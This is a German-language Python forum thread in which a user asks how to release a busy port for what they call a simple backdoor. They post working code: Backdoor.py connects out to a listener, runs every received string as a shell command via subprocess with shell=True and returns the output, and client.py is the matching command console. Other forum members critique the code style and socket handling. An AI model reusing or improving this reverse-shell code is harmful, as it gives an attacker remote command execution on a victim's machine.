Seite 1 von 1

Mit python einen Port wieder freigeben

Verfasst: Donnerstag 13. August 2020, 14:57
von idontknowwho
Hallo,

In meinem aktuellen Programm benutze ich die Socket Bibliothek für eine einfache Backdoor. Ich kann mich aber mit der Backdoor nur einmal verbinden weil der Port belegt ist. Ich möchte gerne wissen wie man mit Python einen Port der gerade benutzt wird wieder freigeben kann.

Danke im Voraus.

Re: Mit python einen Port wieder freigeben

Verfasst: Donnerstag 13. August 2020, 15:24
von sparrow
Mit einer Backdoor?!?

Zeig doch mal, was du tust - also deinen Code.
In Code-Tags. Die erscheinen automatisch, wenn man den </> Button im vollständigen Editor drückt.

Sockets sollte man mit dem with-Statement verwenden.

Re: Mit python einen Port wieder freigeben

Verfasst: Donnerstag 13. August 2020, 15:35
von idontknowwho
Hi,

Hier ist der Code:
Backdoor.py:

Code: Alles auswählen

import socket
import subprocess
import threading
import time


host = '127.0.0.1'
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#def tryben():
    #try:
        #s.connect((host, port))
    #except:
        #None


def recv_data():
    s.send(bytes("Backdoor running.", "utf8"))
    while True:
        try:
            data = s.recv(256)
            proc = subprocess.Popen(str(data, "utf8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
                           stderr=subprocess.PIPE)
            stdout = proc.stdout.read()
            stderr = proc.stderr.read()
            s.send(stdout)
            s.send(stderr)
        except:
            trycond2()

def trycond():
    while True:
        try:
            #host = '127.0.0.1'
            #port = 1337
            #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            recv_data()
        
        
        except:
            #host = '127.0.0.1'
            #port = 1337
            #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            trycond()
            continue

def trycond2():
    while True:
        try:
            host = '127.0.0.1'
            port = 1337
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            recv_data()
        
        
        except:
            #host = '127.0.0.1'
            #port = 1337
            #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            trycond()
            continue

trycond()

#def while1():    
    

und der client.py:

Code: Alles auswählen

import socket
import time

host = '127.0.0.1'
global port
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Connection established to " + addr[0])
data = connection.recv(256)
print(str(data, "utf8"))
def cmd_console():
    while True:
        cmd = input("Command: ")
        connection.send(bytes(cmd, "utf8"))
        data = connection.recv(256)
        print(str(data, "utf8"))
cmd_console()
connection.close()
Kommentare einfach nicht beachten, habe da einfach was ausprobiert.

Re: Mit python einen Port wieder freigeben

Verfasst: Donnerstag 13. August 2020, 15:57
von Sirius3
threading und time wird importiert aber nicht benutzt. Benutze keine globalen Variablen, was auch Dein Problem erklärt. Benutze keine nackten except, die ganzen while-Schleifen mit den rekursiven Aufrufen sind nicht so toll. Das versteht keiner, was da abläuft.
`trycond` und `trycond2` machen das selbe. Warum gibt es das zweimal?
Und dann noch das übliche, dass so sockets nicht funktionieren. Der Code muß damit zurecht kommen, dass bei einem recv auch nur einzelne Bytes kommen und dass send nicht alles sendet.
Statt bytes oder str mit einem Encoding aufzurufen, solltest Du die encode, bzw. decode-Methoden benutzen. Dass shell=True eine Sicherheitslücke ist, spielt bei einer Backdoor wohl keine Rolle.

Re: Mit python einen Port wieder freigeben

Verfasst: Sonntag 16. August 2020, 09:18
von pintman
Sirius3 hat geschrieben: Donnerstag 13. August 2020, 15:57 Statt bytes oder str mit einem Encoding aufzurufen, solltest Du die encode, bzw. decode-Methoden benutzen.
Könntest du einmal den Unterschied und den Vorteil von encode/decode beschreiben?

Re: Mit python einen Port wieder freigeben

Verfasst: Sonntag 16. August 2020, 09:26
von Sirius3
Die Methoden sind etwas geläufiger und man weiß gleich beim Lesen, was passiert. Bei str(data, "utf8") wird irgendwas in einen String umgewandelt, nur das zweite Argument lässt erkennen, dass eine Decodierung stattfindet, denn str(data) macht etwas ganz anderes.

Re: Mit python einen Port wieder freigeben

Verfasst: Sonntag 16. August 2020, 11:13
von pintman
Danke für die Klärung. Ich dachte, es gäbe einen technischen Unterschied.